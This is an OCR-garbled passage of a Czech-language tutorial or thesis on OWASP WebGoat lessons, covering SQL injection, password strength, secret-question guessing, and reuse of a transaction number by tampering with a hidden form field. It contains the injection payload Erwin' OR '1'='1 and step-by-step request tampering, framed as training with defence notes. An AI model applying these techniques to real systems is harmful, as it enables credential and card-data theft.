XPATH Injection OWASP Foundation | Project WebGoat | Report Bug
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String SQL Injection
Database Backdoors

Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions

Challenge

Obrazek 25 — WebGoat, kategorie Injection Flaws, lekce Blind SQL Injection, zadani hledaného jména
a dokonceni lekce

(zdroj: vlastni)

2.7.5 Obrana

Branit se mizeme jak na stran¢ aplikace, tak na stran¢ databaze. Pro aplikaci je to konkrétné
takzvané escapovani znakul, které maji specidlni vyznam v SQL. Na stran¢ databaze se pak
jedna o vhodné nastaveni opravnéni.

2.8 Lekce 6 — String SQL Injection
2.8.1 Predmluva

Pro tuto lekci bude zapotiebi provést nezbytné kroky, které jsou popsany v kapitole Pfiprava
pro teoretickou ¢ast. V této lekci se opét podivame na jednu z metod pro napadeni databaze.
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2.8.2 String SQL Injection

Jedna se o podvrzeni pivodniho SQL dotazu. Dany dotaz pak tedy neud¢la to, co by chtél
uzivatel, ale udéla presné to, co chceme my, jakozto hacketi.

2.8.3 Cil lekce

Tentokrat se jednd o ukazku toho, jak ziskat z databidze seznam uzivatelli a Cisla jejich
kreditnich karet.

2.8.4 Postup

Jako prvni méme zkusit zadat jméno Smith a podivat se, co se nam v aplikaci vypise.
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results in all the credit card numbers being displayed. Try the user name of 'Smith'.
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SELECT * FROM user_data WHERE last_name = m

FIRST_NAME|[LAST_NAME|[CC_NUMBER |[CC_TYPE|[COOKIE|LOGIN_COUN
John Smith 2435600002222|[MC [o

John Smith 4352200002222|[AMEX [0
S ——
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String SOL Injection COWASP Foundation | Project WebGoat | Report Bug
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Obrazek 26 — WebGoat, kategorie Injection Flaws, lekce String SQL Injection, zadani jména a zobrazeni
vystupu

(zdroj: vlastni)

Jak vidime na pfedchozim obrazku, po zadani pozadovaného jména (viz Cervené oznaleni
na obrazku) a nasledné kliknuti na tlacitko Go!, se nam zobrazil 1 cely SQL dotaz pro danou
akci (viz zelené oznaceni na obrazku) a nakonec i jeho vystup, kterym je tabulka s daty (viz
oranzoveé oznaceni na obrazku) pro dany SQL dotaz. V tabulce vidime data o uzivateli Johnu
Smithovi, ktery ma ¢islo uzivatelského uctu 102 a vlastni dvé kreditni karty, o kterych si
muZeme v zobrazené tabulce také preCist nckolik malo avSak podstatnych informaci.
Vyukové prostiedi nam vSak chce ukézat, jak si miZeme nechat vypsat i informace
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0 uzivatelich, o kterych ani nevime, ze jsou vedeni v databazi. K tomuto ndm postaci
nasledujici kéd:

[Erwin' OR '1'=1]
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Buffer Overflows attack.

Code Quality
Concurrency

Cross-Site Scripting (XSS)
Denial of Service
Improper Error Handling
Injection Flaws

Command Injection

¥ .
aL Ini ) . ' o )
e he form below allows a user to view their credit card numbers. Try to inject an SQL string that
Humeric 5QL Injection results in all the credit card numbers being displayed. Try the user name of 'Smith'".

Log Spoofing

KPATH Injectien * Congratulations. You have successfully completed this lesson.
LAB: SO Injection * Bet you can't do it again! This lesson has detected your successfull attack and has now
<tage - String SOL Imisction switched to a defensive mode. Try again to attack a parameterized query.
g2 1: String SOL Inj

Stage 3: Parameterized Query

Mot only is it a threat easily instigated, it is also a threat that, with a little common-sense and
forethought, can easily be prevented.

It is always good practice to sanitize all input data, especially data that will used in OS command,
scripts, and database queiries, even if the threat of SQL injection has been prevented in some other
manner.

General Goal(s):

= Enter your last name{Erwin' OR "1'="1 Gol
St::\ge _1: Hurneric SOL —
Injection €ZFLECT * FROM user_data WHERE last_name = "Erwin® OR "1°='1'
Stage 4: Parameterized Jusry
= USERID|[FIRST_| __NAME|[CC_NUMBER |[CC_TYPE
& String SOL Injection 101 Snow 087654321 \VISA | C—
Database Backdoors 101 Joe Snow 2234200065411][MC lo T
Insecure Communication 2 10hn Smith 2435600002222|[MC [o
Insecure Configuration 102 John Smith 4352209902222|[AMEX o
Insecure Storage
Parameter Tampering 103 Jane |[Plane 123455789 MC [o
Session Management Flaws 103 Jane |[Plane 333498703333 |[AMEX lo
Web Services
Admin Functions 10312 |[olly |[Hershey 176896789 MC lo
Challenge 10312 |[Telly Hershey 333300003333 [[AMEX [0
10323 |[Grumpy White 6573834489 MC [0
{10323 |[Grumpy White 33413003333 |[AMEX [o
[15603 |[Peter Sand 123609789 MC lo )
15603 ~{[Rster Sand 338893453333 |[AMEX lo
15613 Joes‘p?'r~\=_ Something |[33843453533  |[aMEX
.q---—_

OWASP Foundation | Project WebGoat | Report Bug
Obriazek 27 — WebGoat, kategorie Injection Flaws, lekce String SQL Injection, zad4ani kodu a zobrazeni
finalniho vystupu

(zdroj: vlastni)

Po zadani kodu (viz Cervené zobrazeni na ptfedchozim obrazku) do policka a po jeho
nasledném odeslani se nam opét zobrazi SQL dotaz pro danou akci (viz zelené zobrazeni
na ptedchozim obrazku) a nakonec rozsahlejsi tabulka (viz oranZzové zobrazeni na predchozim
obrazku), ze které mizeme vyc¢ist informace ne o jednom uzivateli a vidime 1 ¢isla jejich
kreditnich karet, které se nasledné daji néjakym zplsobem zneuzit. A tim mame tuto lekci
splnénou.
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2.8.5 Obrana

Branit se mizeme jak na stran¢ aplikace, tak na stran¢ databaze. Pro aplikaci je to konkrétné
takzvané escapovani znaku, které maji specialni vyznam v SQL. Na stran¢ databaze se pak
jedna o vhodné nastaveni opravnéni.

2.9 Authentication Flaws

Autentizace, znama také jako autentifikace, je velmi dulezitd a rozsifena zalezitost. Jedna se
0 proces ovéteni identity. Je vyuzivan k ochrané dat a mizeme se s nim setkat skute¢né
na velké radé¢ mist. Jde naptiklad o proces, kdy se piihlaSujeme pomoci hesla do emailu.
Praveé tam dochazi k ovéteni, zdali je zadané heslo a uzivatelské jméno spravné. Autentizace
muze probihat pomoci ¢iselného pinu, textového hesla, néjakého USB klice, také pomoci
otiskd prstil, snimani o¢ni duhovky a podobné. Avsak i na naSe hesla si musime déavat velky
pozor.

2.10 Lekce 7 — Password Strength
2.10.1 Pfredmluva

Pro tuto lekci bude zapotiebi provést nezbytné kroky, které jsou popsany v kapitole Piiprava
pro teoretickou cast. Lekce spada do kategorie Authentication Flaws.

2.10.2 Cil lekce
V této kapitole si mame vyzkousSet prulomnost hesel, tedy dobu, za kterou dana hesla budou

odhalena skrze generatory hesel k tomu urcené.

2.10.3 Postup
Hesla mame otestovat pies webovou stranku https://www.cnlab.ch/codecheck, kam postupné

zadame hesla zvolend aplikaci, jak to miZeme vidét na nasledujicim obrazku.
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General

Access Control Flaws
AJAX Security
Authentication Flaws

Basic Authentication

Multi Level Login 1

Multi Level Login 2
Buffer Overflows
Code Quality
Concurrency
Cross-Site Scripting (XSS)
Denial of Service
Improper Error Handling
Injection Flaws
Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering
Session Management Flaws

Solution VideosThe Accounts of your Webapplication are only as save as the Restart this Lesson
passwords. For this exercise, your job is to test several
passwords on https://www.cnlab.ch/codecheck. You must test all 5 passwords at the same time...

On your applications you should set good password requirements!

How much time you need for these passwords?

Password = 123456 seconds

Password = abzfez seconds

Password = a9zlez hours

Password = aB8fez days

Password = z8IE?7 days

Created by: Reto Lippuner, Marcel
Wirt

Web Services .
Admin Functions OWASP Foundation | Project WebGoat | Report Bug

Challenge

Obrazek 28 — WebGoat, kategorie Authentication Flaws, lekce Password Strength, hesla k testovani

(zdroj: vlastni)

Otevieme si doporu¢enou webovou stranku, do policka zaddme prvni heslo (viz modré
zvyraznéni na nasledujicim obrazku) a klikneme na tladitko Run the check (viz Cervené
zvyraznéni na nasledujicim obrazku), aby se nam vypocitala obtiznost hesla.

secret code checker
This service allows you to chack the quality of secret codes online.
The server analyzes your entry and tells you about the security ratng of your code (rated as weak, or
strong),
You can enter your code here [123456
You use this secret code on the following system:  Windows 2000/%P
© Windows 95/98/NT
" Ursx

Obrazek 29 — aplikace pro vypocet obtiZnosti hesla, zadani hesla

(zdroj: vlastni)

Zobrazi se ndm okno s néjakym upozornénim, které se nds pta, zdali zadané heslo chceme
skutecné otestovat. Oznalime, ze ano (viz zelené oznaceni na nasledujicim obrazku)
a klikneme na tlac¢itko s nadpisem Continue.
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The transmission of data to the server is encrypted. Your
inputs are not stored, only statistical information (time of
check, quality, system) is collected.

It is highly recommended not to use productive secret codes.
Use a code that is constructed similarly to your real

secret code.

Do you want to continue?

©)Yes, | want this word to be tested
® No, | would like to correct my input

Obrazek 30 — aplikace pro vypocet obtiZnosti hesla, upozornéni

Nasledné dostaneme vysledny verdikt, kde nam je sdéleno, Ze zadané heslo je piili§ slabé
ajsme vyzivani, abychom si své heslo okamzit¢ zménili, pokud zadané heslo nckde
pouzivame. Také se ve vysledcich testu naseho hesla mizeme docist, Ze jeho prolomeni
nezabere ani jednu vtefinu. Nyni je zapotiebi tento test provést u ostatnich hesel, které¢ po nas

(zdroj: vlastni)

aplikace chce, abychom je otestovali a zjistili ¢as, za ktery jsou tato hesla mozné prolomit.

Logout @

Password Strength

OWASP WebGoat V5.2 « 7> n J e —_— -I

Introduction

General

ess Control Flaws
Security
Authentication Flaws

Multi Level Login 2
Buffer Overflows
Code \‘Lahf‘y

Cross-Site Scripting (XSS)
Denial of Service
Improper Error Handling
Injection Flaws

Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering

on Management Flaws
ervices

Admin Functions
Challenge

Obrazek 31 — WebGoat, kategorie Authentication Flaws, lekce Password Strength, vysledky testovani

passwords on https://ww
On your appllcatlons you should set good password requirements!

How much time you need for these passwords?

Solution VideosThe Accounts of your Webapplication are only as save as the Restart this Lesson

rds. For this exercise, your job is to test several
yw.cnlab.ch/codech ed You must test all 5 passwords at the same time..

* Congratulations. You have successfully completed this lesson.

Password = 123456 0
Password = abzfez |1394

seconds

Password = a9zlez 5 " hours

Password = aB8fEz '2 days

Rassword = z8!E?7 |41 day;

[Gol]

Created by: Reto Lippuner, Marcel
Wirth

OWASP Foundation | Project WebGoat | Report Bug

(zdroj: vlastni)
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Vysledky pro zadana hesla jsou: 0 vtefin, 1394 vtefin, 5 hodin, 2 dny a 41 dni. Tyto hodnoty
zadame do patiicnych poli¢ek v aplikaci WebGoat a tlacitkem s napisem Go!, které se nachazi
pod policky, odeSleme data. Na zavér nam aplikace ndm pogratuluje, ze jsme uspesné zvladli
tuto lekci, jak miizeme vidét na ptedchozim obrazku.

2.10.4 Obrana

Nase Ucty jsou bezpecné pouze tak, jak jsou silnd nase hesla. VétSina uzivateltt ma slaba hesla
a pouzivaji stejné heslo pro vice uctl. Tomu bychom se rozhodné¢ méli vyvarovat. Idealni je
mit pro kazdy ucet jiné heslo, které bude slozené z malych a velkych pismen, Cislic a piipadné
1 specialnich znakd, jako je zavina¢, znak dolaru a podobné.

2.11 Lekce 8 — Forgot Password

2.11.1 Predmluva

Pro tuto lekci bude zapotiebi provést nezbytné kroky, které jsou popsany v kapitole Ptiprava
pro teoretickou cast. Lekce spada do kategorie Authentication Flaws.

2.11.2 Zapomenuté heslo

Pravdépodobné kazdému z nas se jiz nékdy v zivoté ptihodilo to, ze zapomnél své heslo
od néjakého svého uctu. Webové aplikace Casto poskytuji svym uzivatelim moznost zaslani
zapomenutého hesla na e-mail ¢i pres zpravu SMS. Bohuzel, mnoho webovych aplikaci
vV tomto mechanismu nefunguje spravné. Informace potiebné k ovéteni identity uZivatele jsou
Casto prili$ zjednodusené.

Uzivatel¢ mohou ziskat své zapomenuté heslo naptiklad, pokud vhodné odpovi na tajnou
otazku. Pro danou stranku pro tuto lekci v aplikaci WebGoat neexistuje zadny lock-out
mechanismus. Pro tuto lekci méme ptifazené uzivatelské uidaje. Nase jméno je webgoat a nase
oblibend barva je Cervena (anglicky red).

2.11.3 Cil lekce

Nasim tkolem je ziskat heslo jiného uzivatele. A pravé tato lekce ndm ukéze, jak snadné je
uhodnout tajnou otazku a ziskat heslo né¢koho jiného.

2.11.4 Postup

Zadejme tedy do policka v aplikaci naSe pfid€lené uzivatelské jméno webgoat, které
potvrdime tla¢itkem s napisem Submit.
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Solution VideosWeb applications frequently provide their users the ability to Restart this Lesson
retrieve a forgotten password. Unfortunately, many web

applications fail to implement the mechanism properly. The information required to verify the identity

of the user is often overly simplistic.

General Goal(s):

Users can retrieve their password if they can answer the secret question properly. There is no lock-
out mechanism on this 'Forgot Password' page. Your username is ‘'webgoat' and your favorite color is
‘red'. The goal is to retrieve the password of another user.

Webgoat Password Recovery

Please input your username. See the OWASP admin if you do not have an
account.

*Required Fields

*User Name:

ASPEGT)

OWASP Foundation | Project WebGoat | Report Bug

Obrazek 32 — WebGoat, kategorie Authentication Flaws, lekce Forgot Password, zadani uZivatelského

jména

(zdroj: vlastni)

Nasledné se nés aplikace zepta na tajnou otazku. Konkrétné se nas ptd, jaka je naSe oblibena
barva. Nasi odpovédi je red (Cesky Cervend).
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AJAX Security
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Solution VideosWeb applications frequently provide their users the ability to Restart this Lesson
retrieve a forgotten password. Unfortunately, many web

applications fail to implement the mechanism properly. The information required to verify the identity

of the user is often overly simplistic.

o General Goal(s):

Password Strength

Users can retrieve their password if they can answer the secret question properly. There is no lock-

Forgot Password = o2y A s ' s .
= out mechanism on this 'Forgot Password' page. Your username is 'webgoat’ and your favorite color is

Basic Authentication ‘red’. The goal is to retrieve the password of another user.
Multi Level Login 1
Multi Level Login 2 Webgoat Password Recovery
Buffer Overflows Secret Question: What is your favorite color?
Code Quality *Required Fields
Concurrency

Cross-Site Scripting (XSS)

Denial of Service *Answer:
Improper Error Handling

Injection Flaws

Insecure Communication

Insecure Configuration

Insecure Storage ASPECT
Parameter Tampering

Session Management Flaws

Web Services ) .

Admin Functions OWASP Foundation | Project WebGoat | Report Bug

Challenge

Application Security Specialists

Obrazek 33 — WebGoat, kategorie Authentication Flaws, lekce Forgot Password, zadani oblibené barvy

(zdroj: vlastni)

Poté, co pres tlacitko Sumbit odesleme nasi odpovéd’ na poloZenou otdzku, zobrazi se nam
vysledky, na kterych vidime naSe udaje, jako je naSe uzivatelské jméno, odpoveéd na tajnou
otazku (oblibend barva) a konecné nase zapomenuté heslo, které v tomto piipadé zni stejné,
jako naSe uzivatelské jméno a to webgoat. Tyto vysledky miZeme vidét na nasledujicim
obrazku.

54



OWASP WebGoat V6.2

Forgot Password

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws

L Password Strength

Forgot Password

Basic Authentication

Multi Level Login 1

Multi Level Login 2
Buffer Overflows
Code Quality
Concurrency
Cross-Site Scripting (XSS)
Denial of Service )
Improper Error Handling
Injection Flaws
Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering

Session Management Flaws

Web Services
Admin Functions
Challenge

Solution VideosWeb applications frequently provide their users the ability to Restart this Lesson
retrieve a forgotten password. Unfortunately, many web

applications fail to implement the mechanism properly. The information required to verify the identity

of the user is often overly simplistic.

General Goal(s):

Users can retrieve their password if they can answer the secret question properly. There is no lock-
out mechanism on this 'Forgot Password' page. Your username is 'webgoat’ and your favorite color is
‘red'. The goal is to retrieve the password of another user.

Webgoat Password Recovery
For security reasons, please change your password immediately.

Username: webgoat
Color: red
Password: webgoa

ASPEGT)

Application Security Specialists

OWASP Foundation | Project WebGoat | Report Bug

Obrazek 34 — WebScarab, kategorie Authentication Flaws, lekce Forgot Password, vysledky

(zdroj: vlastni)

Nasim tukolem je nyni uhodnout heslo jiného uzivatele. Napovéda aplikace WebGoat nam
fikd néco o OWASP adminovi, tak pojd’'me zkusit slovo admin jako uzivatelské jméno.
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Solution VideosWeb applications frequently provide their users the ability to Restart this Lesson
retrieve a forgotten password. Unfortunately, many web

applications fail to implement the mechanism properly. The information required to verify the identity

of the user is often overly simplistic.

General Goal(s):

Users can rgtrieve th.eir password if they can answer the secret question properly. There i§ no Iock—_
2 ' out mechanism on this 'Forgot Password' page. Your username is ‘webgoat’ and your favorite color is
Basic Authentication 'red’. The goal is to retrieve the password of another user.

Multi Level Login 1
Multi Level Login 2

Buffer Overflows Webgoat Password Recovery

Code Quality Please input your username. See the OWASP admin if you do not have an
Concurrency account.

Cross-Site Scripting (XSS) “Required Fields

Denial of Service
Improper Error Handling

Injection Flaws *User Name:
Insecure Communication

Insecure Configuration i

Insecure Storage

Parameter Tampering

Session Management Flaws ASPECT
Web Services

Admin Functions

Challenge

Application Security Specialists

OWASP Foundation | Project WebGoat | Report Bug
Obrazek 35 — WebGoat, kategorie Authentication Flaws, lekce Forgot Password, zadani ciziho
uzivatelského jména

(zdroj: vlastni)
Jako odpovédi pro oblibenou barvu mame postupné vyzkouset slova blue, red a green, coz
v piekladu znamend modra, ¢ervend a zelena. Pro slova blue a red ndm aplikace vyhodi

¢erveny chybovy text, ve kterém nam sdéluje, Ze nase odpoveéd neni spravna a vybizi nas,
abychom zkusili odpovédét znovu (viz nésledujici obrazek).
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Sg::;:%omrm Elaws retrieve a forgotten password. Unfortunately, many web
AJAX Security o applications fail to implement the mechanism properly. The information required to verify the identity
Authentication Flaws of the user is often overly simplistic.
W General Goal(s):
Password Strength

Users can retrieve their password if they can answer the secret question properly. There is no lock-
out mechanism on this 'Forgot Password' page. Your username is ‘'webgoat’ and your favorite color is

Forgot Password

Basic Authentication ‘red’. The goal is to retrieve the password of another user.
Multi Level Login 1
Multi Level Login 2 * Incorrect response for admin. Please try again!
Buffer Ovlerﬂows
Code Qualit
Conw%enc;' Webgoat Passvyord Recpvery .
Cross-Site Scripting (XSS) Secret Question: What is your favorite color?
Denial of Service *Required Fields

Improper Error Handling

Injection Flaws

Insecure Communication *Answer:
Insecure Configuration

Insecure Storage Submit

Parameter Tampering

Session Management Flaws

Web Services ASPECT
Admin Functions

Challenge - e

OWASP Foundation | Project WebGoat | Report Bug

Obrazek 36 — WebGoat, kategorie Authentication Flaws, lekce Forgot Password, hadani odpovédi
na tajnou otazku

(zdroj: vlastni)

Pokud vsak zaddme slovo green, zobrazi se nam vysledky s informacemi o cizim
uzivatelském uctu, jelikoz jsme uhadli jeho odpoveéd’ na tajnou otazku. Heslo uzivatele admin
je ve znéni 2275%starBoOrn3, coz je velmi silné heslo. Opét nam aplikace pogratuluje
K uspésnému zvladnuti lekce.
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Solution VideosWeb applications frequently provide their users the ability to Restart this Lesson
retrieve a forgotten password. Unfortunately, many web

applications fail to implement the mechanism properly. The information required to verify the identity

of the user is often overly simplistic.

General Goal(s):

Users can retrieve their password if they can answer the secret question properly. There is no lock-
out mechanism on this 'Forgot Password' page. Your username is 'webgoat’ and your favorite color is
‘red’. The goal is to retrieve the password of another user.

Basic Authentication
Multi Level Login 1
Multi Level Login 2
Buffer Overflows
Code Quality Webgoat Password Recovery
Concurrency For security reasons, please change your password immediately.
Cross-Site Scripting (XSS)
Denial of Service
Improper Error Handling
Injection Flaws
Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering
Session Management Flaws
Web Services
Admin Functions
Challenge OWASP Foundation | Project WebGoat | Report Bug

* Congratulations. You have successfully completed this lesson.

Username: admin
Color: green
Password: 2275%starBo0rn3

—

Application Security Specialists

Obrazek 37 — WebGoat, kategorie Authentication Flaws, lekce Forgot Password, ziskané idaje ciziho
uZivatelského uctu

(zdroj: vlastni)

2.12 Lekce 9 — Multi Level Login 1
2.12.1 Predmluva

Pro tuto lekci bude zapotiebi provést nezbytné kroky, které jsou popsany v kapitole Ptiprava
pro teoretickou cast. Lekce spadd do kategorie Authentication Flaws. Tato lekce se zabyva
multi level loginem.

2.12.2 Multi Level Login

Multi level login by mél poskytovat silnou autentizaci. Po ptihlaSeni se pomoci naseho
uzivatelského jména a hesla budeme pozadani o TAN, coz je Transaction Authentication
Number, ¢ili néjaké ovétovaci Cislo transakce. TAN je Casto pouzivan napiiklad u on-line
bankovnictvi. Dostaneme od banky seznam se spoustou TAN zaznamt ucenych pouze pro
nas. Kazdy z téchto zaznami lze pouZzit pouze jednou. Dalsi metodou je poskytnout TAN
pomoci SMS zpravy. To ma vyhodu v tom, ze Gtocnik nemtze dostat TAN poskytnuté
uzivateli.

2.12.3 Cil lekce

Nasim tkolem bude pokusit se dostat kolem silné autentizace. Musime proniknout do jiného
uctu. Uzivatelské jméno, heslo a TAN je jsou jiz zajisténa. Déle se musime ujistit, Ze server
pifijme TAN 1 v ptfipadé, ze uz byl jednou pouzit. Tato lekce ma dvé faze. V prvni fazi
si pouze ukazeme, jak multi level login funguje. Ve druhé fazi se budeme muset dostat pres
silnou autentizaci.
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2.12.4 Postup

V prvni fazi se tedy pouze pokusime pfihlasit na uzivatele Jane s heslem tarzan.
To provedeme jednoduSe tak, ze tyto uzivatelské udaje zadame do patiicnych policek (viz
nasledujici obrazek).
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Solution VideosSTAGE 1: This stage is just to show how a classic multi login Restart this Lesson
works. Your goal is to do a regular login as Jane with

password tarzan. You have following TANs:

Tan #1 = 15648

Tan #2 = 92156

Tan #3 = 4879

Tan #4 = 9458

Tan #5 = 4879

“ Goat Hills Financial

5
Buffer Overflows ;ﬁ Human Resources
Code Quality

Concurrency -
Cross-Site Scripting (XSS) [lﬂ‘ N ]
Denial of Service

Improper Error Handling
Injection Flaws

Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions

Challenge

Please Login

Enter your name: 'Jrane

Enter your password: -

5

Obrazek 38 — WebGoat, kategorie Authentication Flaws, lekce Multi Level Login 1, pokus o pFihlaseni se

(zdroj: vlastni)
Dale po nas aplikace bude chtit, abychom zadali prvni TAN ze seznamu, ktery ndm byl dan.

Pod timto TAN zdznamem se ukryva Cislo 15648. Toto ¢islo zadame do policka, jak mizeme
vidét na nésledujicim obrazku.
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Authentication Flaws Tan 2 4=45698
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Enter TAN £1: 15648

Logout

Obrazek 39 — WebGoat, kategorie Authentication Flaws, lekce Multi Level Login 1, zadani TAN

(zdroj: vlastni)

Tim jsme se Usp&Sné piihlasili na uZivatele Jane a splnili tak prvni fazi.
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Basic Authentication ‘C

s eetlogn 1 ¢)° Goat Hills Financial

Multi Level Login 2 J‘ Human Resources
Buffer Overflows
Code Quality [,"b
Concurrency
Cross-Site Scripting (XSS)
Denial of Service
Improper Error Handling

Injection Flaws Firstname: Jane
Insecure Communication

Insecure Configuration

Solution VideosSTAGE 2: Now you are a hacker who already has stolen some Restart this Lesson
information from Jane by a phishing mail. You have the

password which is tarzan and the Tan £1 which is 15648

The problem is that the first tan is already used... try to break into the system anyway.

Password Strength * Stage 1 completed.

Forgot Password

(4

Insecure Storage Lastname: Plane
Parameter Tampering
Session Management Flaws Credit Card Type: MC

Web Services
Admin Functions
Challenge Credit Card Number: 74589864

Logout

(zdroj: vlastni)

Féze dvé bude probihat obdobné¢, akorat k tomu bude zapotiebi aplikace WebScarab. Pokud
se nyni pokusime znovu piihlésit na uzivatele Jane, WebScarab nam zachyti zadost, ve které
muzeme vidét zdznam hidden_tan, ktery nyni nese hodnotu 2. My tuto hodnotu pifepiSeme
na hodnotu 1, jelikoz se pokousime ptihlasit znovu pies prvni TAN ze zadaného seznamu.
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'[éj Edit Request ‘

ESRReE ™)

Intercept requests : Intercept responses: [ |

Parsed Raw

Method URL

Version

[PosT | [nttp:#iocalhost80/ebGoatiattack?Screen=23&menu=500

| [HTTPA1 |

Header

Value

Host

localhost

Proxy-Conn...

keep-alive

Content-le...

36

Cache-Con...

max-age=0

Accept

texthtml,applicationfxhtml+xml,applicationxml;g=0.9 imagefwebp **;,q=0.8

Origin

hitp:ilocalhost

Upgrade-In...

E]

User-Agent

Mozilla/5.0 (Windows NT 6.1; WOWGE4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/s...

Content-Ty...

applicationf-www-form-urlencoded

Referer

hitp:iflocalhostiWebGoat/attack?Screen=23&menu=500

Accept-Enc...

gzip, deflate, lzma

Accept-Lan...

cs-CZ,cs,0=0.8

Cookie

JSESSIONID=4C18B4D1CV620C38DEEF33CE82BR9FTE

Authaorization

Basic Z3VIc3Q623VIc30=

Insert

Delete

A T

URLEncoded | Text | Hex |

Variable g— Value
hidden_tan Lh
tan Tet4s
Submit Submit

Insert

Delete

I‘ | Accept changes Cancel changes Abort request Cancel ALL intercepts

Obrazek 41 — WebGoat, kategorie Authentication Flaws, lekce Multi Level Login 1, pi‘epsani hidden_tan

zZaznamu

(zdroj: vlastni)

Skrze tento krok jsme se v aplikaci WebGoat uspésné ptihlasili na ucet uzivatele Jane,
coz muzeme vidét na nasledujicim obrazku. A timto mame splnéné ob¢ faze této lekce.
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Logout @

Multi Level Login 1

OWASP WebGoat V5.2

Introduction

Solution VideosSTAGE 2: Now you are a hacker who already has stolen some Restart this Lesson

General . P, .

> information from Jane by a phishing mail. You have the

’\Mciisssgg:fx' Flaws password which is tarzan and the Tan #1 which is 15648

Authentication Flaws The problem is that the first tan is already used... try to break into the system anyway.
v Password Strength +* Congratulations. You have successfully completed this lesson.

&7 Goat Hills Financial

Multi Level Login 2 s Human Resources
Buffer Overflows
Code Quality [,ﬁx
Concurrency
Cross-Site Scripting (XSS)
Denial of Service
Improper Error Handling
Injection Flaws Firstname: Jane
Insecure Communication
Insecure Configuration

(4

Insecure Storage Lastname: Plane
Parameter Tampering
Session Management Flaws Credit Card Type: MC

Web Services
Admin Functions
Challenge Credit Card Number: 74589864

Logout

-

Obrazek 42 — WebGoat, kategorie Authentication Flaws, lekce Multi Level Login 1, aspé$né splnéni lekce

(zdroj: vlastni)

2.13 Session Management Flaws

Autentizace a sprava relaci zahrnuje vSechny aspekty manipulace S autentizaci uzivatell
a s fizenim aktivni relace. Ovéfovani je kli€ovym aspektem tohoto procesu, ale i mechanismy
pevné autentizace mohou byt naruSeny zmanipulovanymi povétovacimi funkcemi pro spravu.
Do tohoto problému jsou zahrnuty také zmény hesla, zapomenuta hesla, aktualizace uctu
a dalsi souvisejici funkce. VSechny funkce pro spravu uétu by mély vyzadovat opétovné
ovéteni 1 v pfipadé, Ze uZivatel ma platné session ID neboli ID relace.

Autentizace uZivatele na webu zahrnuje typicky pouziti uZivatelského jména a hesla. Siln&;jsi
metody autentizace jsou komercné dostupné. Jsou jimi software a hardware na bazi
kryptografickych tokenti nebo biometrie, ale tyto mechanismy jsou pro vétSinu webovych
aplikaci pfili§ nakladné. Siroké spektrum uéti a nedostatky v fizeni relaci miize mit
za nasledek ohrozeni uzivatele nebo systémové spravy uctd. Vyvojové tymy casto podcenuji
slozitost navrhovani schémat spravy relaci a fizeni ovéfovani, které adekvatné chrani povéieni
ve vSech aspektech webovych stranek. Webové aplikace musi zavadét relace ke sledovani
toku zadosti od kazdého uzivatele. Protokol HTTP tuto funkci neposkytuje, takze pro webové
aplikace je nutné, aby si ji vytvofili sami. Casto prostiedi webové aplikace nabizi moznost
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relace, ale mnoho vyvojart si radéji vytvoii své vlastni tokeny relaci. V kazdém piipadé,
pokud nejsou tokeny relaci dostate¢né chranény, mizeme zneuzit aktivni relace a prevzit
identitu uzivatele. Vytvoreni systému pro vytvoreni silnych tokent relaci a jejich ochrany po
celou dobu jejich Zivotniho cyklu se pro mnoho vyvojait ukédzalo jako nepolapitelné. Pokud
nejsou vSechna ovéfeni autentizace a vSechny identifikatory relaci chranény pomoci protokolu
SSL za vSech okolnosti a nejsou ani chranény pted jejich zvefejnénim zplisobenym dal$imi
nedostatky, nachdzime se pak v situaci podobné cross site scripting a miizeme zneuZit relaci
a prevzit tak jinému uzivatelovi identitu.

2.14 Lekce 10 — Spoof an Authentication Cookie
2.14.1 Predmluva

Pro tuto lekci bude zapotiebi provést nezbytné kroky, které jsou popsany v kapitole Piiprava
pro teoretickou cast. Lekce spada do kategorie Session Management Flaws. V této lekci se
zamétime na falSovani cookies.

2.14.2 Cookies

Pod pojmem cookies si mizeme predstavit kratké soubory textového formatu, které vytvari
webovy server. Ukladany jsou v pocitaci prostiednictvim prohlizece. Cookies slouzi k tomu,
ze pokud jednou navstivime néjakou webovou stranku a pozdé€ji se na tu samou stranku
vratime, prohlize¢ zaSle ulozené cookies zpét a server tim padem ziska veskeré informace,
které si u nas ptred tim ulozil. Naptiklad pravé diky cookies dany server vi, jaké nastaveni
jazyka jsme si pii minulé navstéveé vybrali. Také nam server miize diky cookies predvyplnit
ptihlasovaci udaje. Mizeme tedy fici, Ze cookies usnadiiuji personalizaci.

Riizné statistiky a dal$i méfici systémy pracuji na principu cookies. Ukladaji si do cookies
identifikatory navstévnikd, cas, zdroj navstévy a dalsi informace. Na dalSich strankach jsou
pak tyto udaje nacitany, dopliiovany a mohou tak uZivatele trackovat (¢esky sledovat). Tim
padem muzeme fici, Ze cookies jsou kritickou podminkou pro funkéni webovou analytiku.
Nevyhoda cookies je takova, ze se do jisté miry ztraci anonymita uzivatele.

Pokud jsou spravné ovéfeny zaznamy cookies, tak na spousté webovych strankach budeme
znovu automaticky piihlaSeni v pfipadé, Ze jsme na néjaké takové strance jiz diiv piihlaSeni
byli. Nékteré hodnoty cookies vsak lze uhodnout a to v piipad¢, ze je mozné ziskat algoritmus
pro generovani cookies. Nékdy jsou cookies ponechany na klientském pocitaci a skrze néjaké
zranitelnosti systému mohou byt tyto zaznamy ukradeny. Nékdy lze také cookies zachytit
pomoci metody cross site scripting.

2.14.3 Cil lekce

Tato lekce se snazi, abychom si byli védomi autentiza¢nich cookies a ukazuje ndm zptsob,
jak prolomit metodu ovétovani cookies.

2.14.4 Postup

Na zacatku lekce se ujistime, Ze mame skrze tlacitko Show Cookies v horni 1isté aplikace
WebGoat zobrazené cookies (viz Cervené onaceni na nasledujicim obrazku). Tim se nam
zobrazi session ID, které je na obrazku podtrzené zelenou linkou.
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Snoof an Authentication Cookie

OWASP WebGoat V5.2

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Solution VideosJSESSIONID % 1665E330359DAS5020FB94F174596376E Restart this Lesson

Login using the webgoat/webgoat account to see what happens. You may also try aspect/aspect.
When you understand the authentication cookie, try changing your identity to alice.

Code Quality Sign In

